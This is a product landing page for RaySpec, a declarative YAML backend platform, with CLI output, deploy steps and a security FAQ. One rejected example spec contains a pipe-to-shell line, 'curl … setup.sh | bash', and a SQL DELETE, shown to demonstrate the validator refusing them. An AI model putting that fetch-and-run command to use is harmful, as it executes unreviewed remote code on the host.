Your backend is
one file deep.
Describe your AI product’s backend in one declarative YAML file. RaySpec stands up accounts, auth, agents, an HTTP API, a Postgres data layer, and durable jobs — deployed GitOps-style from that single file. As of 1.9.0 the built application is one file as well: a .ray bundle that carries no secret and no database row.
{
"ok": true,
"command": "init",
"created": [
"rayspec.yaml"
],
"path": "rayspec.yaml",
"nextSteps": [
"rayspec doctor rayspec.yaml",
"rayspec plan rayspec.yaml",
"rayspec dev gen-secrets # mint the boot secrets, then set DATABASE_URL to deploy"
],
"errors": []
}
{
"ok": true,
"errors": [],
"warnings": []
}
{
"ok": true,
…
"agents": [],
"gateFindings": [],
"gateSummary": "destructive-scan: no destructive statements.",
"breakingChangeBlocked": false,
"shadowApplied": false,
"errors": []
}
# output captured with rayspec@1.9.0 from npm · a line that reads … stands for output left out
rayspec and a rayspec_shadow database, git and curl. Source-available under FSL-1.1-ALv2. Building from source →One file in. One file out.
You write one spec. rayspec pack turns the built application into one .ray bundle, and that file is what gets checked, deployed and moved.
-
01author
$ rayspec doctor <spec.yaml>Static validation of the whole document: no database, no network, and the full list of violations.
CLI reference → -
02pack
$ rayspec pack --spec <path> --output <file.ray>One deterministic file from an application that is already built: the same prepared files and flags give the same bytes. Never a secret. Pack runs no build and none of the application’s code.
Packing an application → -
03inspect · verify · sign
$ rayspec bundle verify <file.ray>A bundle is read without extracting or running anything inside it.
Signing a bundle →deployablemeans every check passed for this runtime; it never vouches for the code the bundle carries.rayspec bundle signwrites a detached Ed25519 signature with your own key. -
04deploy
$ rayspec deploy <file.ray> --dry-run $ rayspec deploy <file.ray> --plan-digest <sha256>The dry run plans against the live database and changes nothing; the deploy applies the plan you reviewed, named by its digest. A reviewed plan is valid for 30 minutes. A deploy that refuses leaves the previous version active.
Deploying a bundle → -
05move
$ rayspec export … $ rayspec import …The whole deployment as one migration bundle, encrypted with age to one recipient. The target stays fenced until a one-time cutover token, valid for 15 minutes, releases it. The new environment mints its own boot secrets, so access tokens and API keys are reset.
Exporting →
# steps 04 and 05 need PostgreSQL; their commands are in the docs and no output is shown for them on this page — importing a deployment →
… team-notes 1.0.0 — application bundle for runtime 1.9.0 on linux/x64, Node 22 spec: payload/rayspec.yaml requires: declarative-api, declarative-stores, static-frontend bindings: none (names only; values are supplied at deploy time) execution: none; egress hosts: none included: 7 files, 9737 bytes (4 frontend, 1 notices, 1 sbom, 1 spec) … 11971 bytes, sha256 fa1b20460ea990bdb55d667d63d867d02fd8508025bf5c4f19825e2da3efd76d This is a package, not a deployment: nothing was deployed, started or run. Check it with …
… team-notes 1.0.0 — application bundle for runtime 1.9.0 on linux/x64, Node 22 8 entries, 11971 bytes, sha256 fa1b20460ea990bdb55d667d63d867d02fd8508025bf5c4f19825e2da3efd76d requires: declarative-api, declarative-stores, static-frontend bindings: none execution: none; egress hosts: none checked against runtime 1.9.0 signature: none (unsigned; the origin of the bundle is not established) verdict: deployable — the archive, manifest, runtime, target, capability, binding, spec, derived-field, secret-scan and signature checks passed. They describe the bundle; they do not vouch for the code it carries.
Three applications you can deploy. Seven more files to read.
Each is packed and deployed from its bundle by the repository’s own tests.
A tenant's shared notes with a CRUD API and a static web UI.
Accept an uploaded document (plain text or a text-layer PDF), parse it to text, extract a structured record, validate it, persist one row per document, and serve record reads.
A tenant's catalog of files, each classified by an external service on create.
Seven documents in the two profiles of the spec language, from a notes backend to a support chat.
A notes backend — stores entries, summarizes them with an agent.
Store expense claims and auto-code each claim against the org's own expense-category catalog with a tool-using agent (the lookup + auto-persist loop).
A shared task board whose clients are driven by one tenant-scoped event stream.
Accept a submitted support ticket, route it against a seeded routing-policy catalog (product_area → owning team + default priority), persist the triaged ticket, and serve ticket reads.
Accept an uploaded invoice document (text or text-layer PDF), parse it to text, extract the invoice fields and code the vendor against a seeded vendor→GL catalog, validate the coded output, persist one row per invoice, and serve invoice reads.
Accept an uploaded contract document (text or text-layer PDF), parse it to text, extract the contract metadata, classify the contract type against a seeded retention-policy catalog, validate the load-bearing fields, persist one coded record per contract, and serve contract reads.
A first-line support intake CHAT: the user describes their issue over a multi-turn conversation, an assistant replies grounded in a seeded known-issues/routing catalog, and an async workflow classifies the conversation into a structured, routed ticket the support desk can read.
extensions[] mechanism — each of the seven example specs validates with rayspec doctor as it stands; a reference application is built first, then packed
the product: key is the discriminant — one language, two profiles →
The scaffolding is the platform’s problem now.
A real database, generated
Stores become tenant-scoped Postgres/Drizzle tables — you declare business columns only, the tenancy and data-lifecycle columns are injected. Migrations are diffed and gated before they apply.
Owned accounts & tenancy
Orgs, memberships, API keys, JWT/OIDC — first-class and yours. Every query carries a tenant predicate, enforced structurally.
Four swappable agent backends
OpenAI Agents, Claude Agent SDK, Pi, and Codex behind one neutral interface. Write an agent once; switch the backend from the spec.
Durable background work
Long agent runs and scheduled jobs execute off-request, with a per-step run journal for replay, cost accounting, and audit.
A declarative HTTP surface
Routes, tools, triggers, and escape-hatch handlers declared in the spec, mounted on an authenticated Hono + OpenAPI surface.
Tenant-scoped & fail-closed by construction
Secrets required at boot, a fail-closed tenant chokepoint, an explicit trust boundary around untrusted content, an append-only audit log — from the first boot. An opt-in hardened posture adds database role separation with forced row-level security — hosting in the hardened posture → What it guarantees — and what it doesn’t →
One spec, seven layers.
Each layer depends only on the ones below it. The bottom layers are the always-on foundation; the declarative engine reads your spec and wires your routes, stores, and agents onto it. The platform itself contains no product.
Read the full architecture →Three boundaries carry the weight.
The neutral backend boundary
Adapters absorb every vendor SDK’s churn; the neutral types never move. A parity suite holds all four backends to the identical contract.
The fail-closed tenant chokepoint
Deny-by-default: a table is reachable only if registered as committed source. There is no ergonomic path to a cross-tenant read.
The tool-dispatch trust boundary
Everything crossing from outside — tool output, uploads, rehydrated history — is data, never instructions. Idempotency is honored on replay. It stops injected text that tries to command the agent. Text that disputes a field or invents a policy is the author’s job in the agent’s instructions.
What the core guarantees — and what it doesn’t.
RAYSPEC_MIGRATION_DATABASE_URL — the server serves as a runtime role that cannot bypass the tenant policies, and row security is enabled and forced on every tenant table. It protects against a statement that lost its tenant, not against code in the runtime process that sets another tenant deliberately.RAYSPEC_SINGLE_TENANT=true — one organization per runtime; a second one is refused on every path and accounts join by invite.RAYSPEC_HOSTING_POSTURE=managed — every execution bound has a default, every handler must declare its rights, agent traces are not exported by default, and of the four agent backends only openai boots.RAYSPEC_TRUSTED_PROXIES — behind a reverse proxy, the proxy addresses whose forwarding headers are believed; nothing else can set the client address.The core is built for trusted, self-hosted, single-node deployment. The hardened posture is one application and one organization per environment, and it is not a sandbox for custom code.
What 1.9.1 does not do.
openai agent backend. It refuses anthropic, codex and pi, which stay available outside the managed posture.receipt →1.0.0-rc.2, and rayspec pack does not run builds.receipt →contract revision →Every residual risk this release accepts — the threat model → · release notes for 1.9.1 ↗
The posture isn’t a promise — it’s a refusal.
Before anything deploys, rayspec doctor reads your spec and fails closed on the moves that would break the guarantees above, and rayspec pack refuses a schema change that destroys data and that nobody reviewed. Real output, verbatim — captured with rayspec@1.9.0 from npm, so you can reproduce it. That’s the receipt.
version: '1.0'
metadata:
name: crm-backend
description: A CRM backend that tries to declare its own tenant_id column.
stores:
- name: invoices
columns:
- { name: tenant_id, type: uuid } # ← the platform injects this
- { name: amount_cents, type: integer }
- { name: status, type: text }
{
"ok": false,
"errors": [
{
"code": "reserved_column_name",
"message": "store 'invoices' declares reserved column 'tenant_id' — that column is injected by the generator (tenancy/GDPR); rename the business column",
"path": "stores[0].columns[0].name"
}
],
"warnings": []
}
version: '1.0'
product:
name: meeting-notes
description: A meeting-notes product that tries to smuggle code into the spec.
workflows:
- id: after-upload
trigger: recording.uploaded
steps:
- id: cleanup
shell: "curl -s https://example.com/setup.sh | bash"
- id: summarize
sql: "DELETE FROM recordings WHERE status = 'stale'"
{
"ok": false,
"errors": [
{
"code": "no_code_in_yaml",
"message": "banned code-like key 'shell' at workflows[0].steps[0].shell; Product YAML declares meaning and contracts — code/handlers/SQL belong in Tier A/B implementation, not in YAML",
"path": "workflows[0].steps[0].shell"
},
{
"code": "no_code_in_yaml",
"message": "banned code-like key 'sql' at workflows[0].steps[1].sql; Product YAML declares meaning and contracts — code/handlers/SQL belong in Tier A/B implementation, not in YAML",
"path": "workflows[0].steps[1].sql"
},
{
"code": "no_code_in_yaml",
"message": "inline-code string value at workflows[0].steps[1].sql; Product YAML must not contain JS/TS, SQL, shell, or handler module paths",
"path": "workflows[0].steps[1].sql"
}
],
"warnings": []
}
# releases/v2.yaml, version 1.1.0 — what the deployment runs columns: - { name: title, type: text } - { name: content, type: text } # ← 2.0.0 drops this … # releases/v3.yaml, version 2.0.0 columns: - { name: title, type: text } …
{
"contractVersion": "1.0.0-rc.2",
"ok": false,
"operation": "pack",
…
"data": null,
"errors": [
{
"code": "RAY_USAGE",
"message": "the product delta is destructive and no reviewed allowlist entry covers drop-column on notes.content. Review it: run `rayspec plan <new-spec> --against <spec of the running application>`, copy the proposed allowlist entries you approve into a file, and pack the bundle again with `rayspec pack --spec <new-spec> --against <spec of the running application> --allowlist <file.json>`",
"retryable": false
}
],
"warnings": []
}
Captured 2026-10-05 with rayspec@1.9.0 from npm (v1.9.1, 319a9a4). The first two documents are the files shown; the third is the team notes reference application, built with its own build.mjs as releases v2 and v3. A line that reads … stands for lines left out. the CLI reference →
Asked like an engineer.
What’s the license?
Open core, not an OSI license: source-available under FSL-1.1-ALv2 · use, modify, and self-host freely · each release converts to Apache-2.0 after two years.
receipt: LICENSE · conversion date per release
What does the one file actually stand up?
Accounts, auth, agents, an HTTP API, a Postgres data layer, and durable jobs — deployed GitOps-style from that single file.
receipt: spec reference · getting started
What is a .ray bundle?
One deterministic file that rayspec pack writes from an
application that is already built: the spec, the compiled code and static
files it needs, its third-party packages, an SBOM and the license notices.
It carries no secret value and no database row, and packing runs none of
the application. A bundle holds at most 9,999 files and 512 MiB.
receipt: packing an application · the lifecycle above
Can I put a deployment on a public address?
The core is built for trusted, self-hosted, single-node deployment. The opt-in hardened posture is made for a runtime that people you do not fully trust can reach: one application and one organization per environment, with its own VM and databases. It is not a sandbox for custom code, its receipt is evidence of tests and not a compliance certificate, and egress rules and encryption at rest are the host’s job.
receipt: hardened posture · threat model
How is tenant data isolated?
By construction: every query against tenant-owned data goes through one fail-closed chokepoint that injects the tenant predicate, and a CI test fails the build if a tenant table can be read without it. With role separation turned on, forced row-level security in the database is a second layer beneath it. That layer protects against a statement that lost its tenant, not against code in the runtime process that sets another tenant deliberately.
receipt: architecture · database isolation
Is the release signed, and is there an image?
For 1.9.0 the release manifest is not signed and the npm packages carry
no provenance attestation. The 34 packages on npm are the tarballs
attached to the GitHub release, byte for byte. The runtime image is a
linux/amd64 definition in the repository, built and tested for the release
and not pushed to a registry. rayspec bundle sign is a
different thing: it signs your application bundle with your own Ed25519
key.
receipt: release notes · the runtime image
How do I upgrade from 1.8?
An existing deployment needs nothing new: check that Node is 22.21.0 or later, take a backup, install 1.9.0 and start the deployment the way you started it before. The first boot runs the platform migrations 0012 to 0017, each one additive. Downgrading a migrated database is not supported, so going back starts from that backup.
receipt: upgrading to 1.9 · changelog
Are the examples real?
They ship in examples/. Three are reference applications,
each packed and deployed from its bundle by the repository’s own
tests: team notes, document intake and asset catalog. Seven further
example specs are on the shelf above. Document intake runs on the
deterministic extraction provider, which is not for production
extraction.
receipt: examples/ · the spec shelf above
Found a security issue?
Mail security@rayspec.dev — reporting and the security model live in the security policy.
receipt: security policy
Open core. Now on GitHub.
Source-available under FSL-1.1-ALv2 · use, modify, and self-host freely · each release converts to Apache-2.0 after two years